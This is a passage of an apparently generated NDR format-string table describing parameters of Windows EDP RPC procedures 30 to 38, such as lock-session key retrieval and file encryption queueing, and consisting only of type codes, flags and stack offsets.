*/\t0x0,\t\t/* 0 */\n\t\t\t0x49,\t\t/* Old Flags:  full ptr, */\n/* 1558 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1562 */\tNdrFcShort( 0x1d ),\t/* 29 */\n/* 1564 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 1566 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 1568 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1570 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1572 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 1574 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x3,\t\t/* 3 */\n/* 1576 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 1578 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1580 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1582 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1584 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter arg_1 */\n\n/* 1586 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 1588 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 1590 */\tNdrFcShort( 0x314 ),\t/* Type Offset=788 */\n\n\t/* Parameter arg_2 */\n\n/* 1592 */\tNdrFcShort( 0x2013 ),\t/* Flags:  must size, must free, out, srv alloc size=8 */\n/* 1594 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 1596 */\tNdrFcShort( 0x318 ),\t/* Type Offset=792 */\n\n\t/* Return value */\n\n/* 1598 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 1600 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 1602 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure Proc30_EdpRpcGetLockSessionWrappedKey */\n\n/* 1604 */\t0x0,\t\t/* 0 */\n\t\t\t0x49,\t\t/* Old Flags:  full ptr, */\n/* 1606 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1610 */\tNdrFcShort( 0x1e ),\t/* 30 */\n/* 1612 */\tNdrFcShort( 0x48 ),\t/* X64 Stack size/offset = 72 */\n/* 1614 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 1616 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1618 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 1620 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 1622 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x8,\t\t/* 8 */\n/* 1624 */\t0xa,\t\t/* 10 */\n\t\t\t0x47,\t\t/* Ext Flags:  new corr desc, clt corr check, srv corr check, has range on conformance */\n/* 1626 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 1628 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 1630 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1632 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter arg_1 */\n\n/* 1634 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 1636 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 1638 */\tNdrFcShort( 0x314 ),\t/* Type Offset=788 */\n\n\t/* Parameter arg_2 */\n\n/* 1640 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 1642 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 1644 */\tNdrFcShort( 0x320 ),\t/* Type Offset=800 */\n\n\t/* Parameter arg_3 */\n\n/* 1646 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1648 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 1650 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter arg_4 */\n\n/* 1652 */\tNdrFcShort( 0x2013 ),\t/* Flags:  must size, must free, out, srv alloc size=8 */\n/* 1654 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 1656 */\tNdrFcShort( 0x33a ),\t/* Type Offset=826 */\n\n\t/* Parameter arg_5 */\n\n/* 1658 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 1660 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 1662 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter arg_6 */\n\n/* 1664 */\tNdrFcShort( 0x2013 ),\t/* Flags:  must size, must free, out, srv alloc size=8 */\n/* 1666 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 1668 */\tNdrFcShort( 0x358 ),\t/* Type Offset=856 */\n\n\t/* Parameter arg_7 */\n\n/* 1670 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 1672 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 1674 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 1676 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 1678 */\tNdrFcShort( 0x40 ),\t/* X64 Stack size/offset = 64 */\n/* 1680 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure Proc31_EdpRpcGetLockSessionUnwrappedKey */\n\n/* 1682 */\t0x0,\t\t/* 0 */\n\t\t\t0x49,\t\t/* Old Flags:  full ptr, */\n/* 1684 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1688 */\tNdrFcShort( 0x1f ),\t/* 31 */\n/* 1690 */\tNdrFcShort( 0x48 ),\t/* X64 Stack size/offset = 72 */\n/* 1692 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 1694 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1696 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 1698 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 1700 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x8,\t\t/* 8 */\n/* 1702 */\t0xa,\t\t/* 10 */\n\t\t\t0x47,\t\t/* Ext Flags:  new corr desc, clt corr check, srv corr check, has range on conformance */\n/* 1704 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 1706 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 1708 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1710 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter arg_1 */\n\n/* 1712 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 1714 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 1716 */\tNdrFcShort( 0x314 ),\t/* Type Offset=788 */\n\n\t/* Parameter arg_2 */\n\n/* 1718 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 1720 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 1722 */\tNdrFcShort( 0x320 ),\t/* Type Offset=800 */\n\n\t/* Parameter arg_3 */\n\n/* 1724 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1726 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 1728 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter arg_4 */\n\n/* 1730 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 1732 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 1734 */\tNdrFcShort( 0x376 ),\t/* Type Offset=886 */\n\n\t/* Parameter arg_5 */\n\n/* 1736 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1738 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 1740 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter arg_6 */\n\n/* 1742 */\tNdrFcShort( 0x2013 ),\t/* Flags:  must size, must free, out, srv alloc size=8 */\n/* 1744 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 1746 */\tNdrFcShort( 0x358 ),\t/* Type Offset=856 */\n\n\t/* Parameter arg_7 */\n\n/* 1748 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 1750 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 1752 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 1754 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 1756 */\tNdrFcShort( 0x40 ),\t/* X64 Stack size/offset = 64 */\n/* 1758 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure Proc32_EdpRpcGetCredServiceState */\n\n/* 1760 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 1762 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1766 */\tNdrFcShort( 0x20 ),\t/* 32 */\n/* 1768 */\tNdrFcShort( 0x58 ),\t/* X64 Stack size/offset = 88 */\n/* 1770 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 1772 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1774 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1776 */\tNdrFcShort( 0x104 ),\t/* 260 */\n/* 1778 */\t0x44,\t\t/* Oi2 Flags:  has return, has ext, */\n\t\t\t0xa,\t\t/* 10 */\n/* 1780 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 1782 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1784 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1786 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1788 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter arg_1 */\n\n/* 1790 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 1792 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 1794 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter arg_2 */\n\n/* 1796 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 1798 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 1800 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter arg_3 */\n\n/* 1802 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 1804 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 1806 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter arg_4 */\n\n/* 1808 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 1810 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 1812 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter arg_5 */\n\n/* 1814 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 1816 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 1818 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter arg_6 */\n\n/* 1820 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 1822 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 1824 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter arg_7 */\n\n/* 1826 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 1828 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 1830 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter arg_8 */\n\n/* 1832 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 1834 */\tNdrFcShort( 0x40 ),\t/* X64 Stack size/offset = 64 */\n/* 1836 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter arg_9 */\n\n/* 1838 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 1840 */\tNdrFcShort( 0x48 ),\t/* X64 Stack size/offset = 72 */\n/* 1842 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 1844 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 1846 */\tNdrFcShort( 0x50 ),\t/* X64 Stack size/offset = 80 */\n/* 1848 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure Proc33_EdpRpcDplUpgradePinInfo */\n\n/* 1850 */\t0x0,\t\t/* 0 */\n\t\t\t0x49,\t\t/* Old Flags:  full ptr, */\n/* 1852 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1856 */\tNdrFcShort( 0x21 ),\t/* 33 */\n/* 1858 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 1860 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 1862 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1864 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1866 */\tNdrFcShort( 0x5c ),\t/* 92 */\n/* 1868 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x5,\t\t/* 5 */\n/* 1870 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 1872 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1874 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1876 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1878 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter arg_1 */\n\n/* 1880 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 1882 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 1884 */\tNdrFcShort( 0x314 ),\t/* Type Offset=788 */\n\n\t/* Parameter arg_2 */\n\n/* 1886 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 1888 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 1890 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter arg_3 */\n\n/* 1892 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 1894 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 1896 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter arg_4 */\n\n/* 1898 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 1900 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 1902 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 1904 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 1906 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 1908 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure Proc34_EdpRpcDplUpgradeVerifyUser */\n\n/* 1910 */\t0x0,\t\t/* 0 */\n\t\t\t0x49,\t\t/* Old Flags:  full ptr, */\n/* 1912 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1916 */\tNdrFcShort( 0x22 ),\t/* 34 */\n/* 1918 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 1920 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 1922 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1924 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1926 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 1928 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x5,\t\t/* 5 */\n/* 1930 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 1932 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1934 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1936 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1938 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter arg_1 */\n\n/* 1940 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 1942 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 1944 */\tNdrFcShort( 0x314 ),\t/* Type Offset=788 */\n\n\t/* Parameter arg_2 */\n\n/* 1946 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 1948 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 1950 */\tNdrFcShort( 0x314 ),\t/* Type Offset=788 */\n\n\t/* Parameter arg_3 */\n\n/* 1952 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 1954 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 1956 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter arg_4 */\n\n/* 1958 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 1960 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 1962 */\t0xb9,\t\t/* FC_UINT3264 */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 1964 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 1966 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 1968 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure Proc35_EdpRpcDplUserCredentialsSet */\n\n/* 1970 */\t0x0,\t\t/* 0 */\n\t\t\t0x49,\t\t/* Old Flags:  full ptr, */\n/* 1972 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1976 */\tNdrFcShort( 0x23 ),\t/* 35 */\n/* 1978 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 1980 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 1982 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1984 */\tNdrFcShort( 0xe ),\t/* 14 */\n/* 1986 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 1988 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x5,\t\t/* 5 */\n/* 1990 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 1992 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1994 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1996 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1998 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter arg_1 */\n\n/* 2000 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 2002 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 2004 */\tNdrFcShort( 0x314 ),\t/* Type Offset=788 */\n\n\t/* Parameter arg_2 */\n\n/* 2006 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 2008 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 2010 */\tNdrFcShort( 0x314 ),\t/* Type Offset=788 */\n\n\t/* Parameter arg_3 */\n\n/* 2012 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 2014 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 2016 */\t0x6,\t\t/* FC_SHORT */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter arg_4 */\n\n/* 2018 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 2020 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 2022 */\t0xb9,\t\t/* FC_UINT3264 */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 2024 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 2026 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 2028 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure Proc36_EdpRpcDplUserUnlockStart */\n\n/* 2030 */\t0x0,\t\t/* 0 */\n\t\t\t0x49,\t\t/* Old Flags:  full ptr, */\n/* 2032 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2036 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 2038 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 2040 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 2042 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2044 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 2046 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 2048 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x5,\t\t/* 5 */\n/* 2050 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 2052 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2054 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2056 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2058 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter arg_1 */\n\n/* 2060 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 2062 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 2064 */\tNdrFcShort( 0x314 ),\t/* Type Offset=788 */\n\n\t/* Parameter arg_2 */\n\n/* 2066 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 2068 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 2070 */\tNdrFcShort( 0x314 ),\t/* Type Offset=788 */\n\n\t/* Parameter arg_3 */\n\n/* 2072 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 2074 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 2076 */\t0xb,\t\t/* FC_HYPER */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter arg_4 */\n\n/* 2078 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 2080 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 2082 */\t0xb9,\t\t/* FC_UINT3264 */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 2084 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 2086 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 2088 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure Proc37_EdpRpcDplUserUnlockComplete */\n\n/* 2090 */\t0x0,\t\t/* 0 */\n\t\t\t0x49,\t\t/* Old Flags:  full ptr, */\n/* 2092 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2096 */\tNdrFcShort( 0x25 ),\t/* 37 */\n/* 2098 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 2100 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 2102 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2104 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 2106 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 2108 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x4,\t\t/* 4 */\n/* 2110 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 2112 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2114 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2116 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2118 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter arg_1 */\n\n/* 2120 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 2122 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 2124 */\tNdrFcShort( 0x314 ),\t/* Type Offset=788 */\n\n\t/* Parameter arg_2 */\n\n/* 2126 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 2128 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 2130 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter arg_3 */\n\n/* 2132 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 2134 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 2136 */\t0xb9,\t\t/* FC_UINT3264 */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 2138 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 2140 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 2142 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure Proc38_EdpRpcQueueFileForEncryption */\n\n/* 2144 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 2146 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2150 */\tNdrFcShort( 0x26 ),\t/* 38 */\n/* 2152 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 2154 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 2156 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2158 */\tNdrFcShort( 0x44 ),\t/* 68 */\n/* 2160 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 2162 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x5,\t\t/* 5 */\n/* 2164 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 2166 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2168 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2170 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2172 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter arg_1 */\n\n/* 2174 */\tNdrFcShort( 0xa ),\t/* Flags:  must free, in, */\n/* 2176 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 2178 */\tNdrFcShort( 0x394 ),\t/* Type Offset=916 */\n\n\t/* Parameter arg_2 */\n\n/* 2180 